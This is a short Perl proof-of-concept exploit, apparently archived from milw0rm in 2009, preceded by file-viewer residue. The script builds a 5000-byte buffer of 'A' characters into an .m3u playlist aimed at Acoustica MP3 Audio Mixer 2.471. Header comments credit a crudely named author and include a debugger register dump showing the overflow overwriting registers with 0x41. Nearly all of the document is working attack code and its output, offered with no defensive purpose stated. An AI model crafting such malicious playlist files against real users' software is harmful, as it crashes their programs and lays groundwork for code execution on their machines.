39 lines
No EOL
950 B
Perl
Executable file
39 lines
No EOL
950 B
Perl
Executable file
#!/usr/perl/bin -w
|
|
#
|
|
#
|
|
#Foundr By : D3V!L FucK3r
|
|
#
|
|
#MY Email: w0@live.no
|
|
#
|
|
#Download : http://www.acoustica.com
|
|
#
|
|
#Tested on : Windos vista sp1
|
|
#
|
|
#Version : mp3 audio mixer v.2.471 Demo
|
|
#
|
|
#if you Click ×××××× and select file then ...... :)
|
|
#
|
|
# perl For a men :)
|
|
#
|
|
#Gretz to : Sa^Devl , THEINJECTOR , anti-trust
|
|
#
|
|
#EAX 03D7ADF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
#ECX 41414141
|
|
#EDX 01EE0000
|
|
#EBX 00004141
|
|
#ESP 0012BC48
|
|
#EBP 0012BC74
|
|
#ESI 03E808E0
|
|
#EDI 00100000
|
|
#EIP 76ED04C1 ntdll.76ED04C1
|
|
|
|
$buff="\x41" x 5000;
|
|
open(MYFILE , '>>D3V!L FUCK3R.m3u')or die " File not found.";
|
|
print MYFILE $buff;
|
|
close (MYFILE);
|
|
|
|
print "Perl 4 a men :d\n";
|
|
|
|
###########################################
|
|
|
|
# milw0rm.com [2009-07-20] |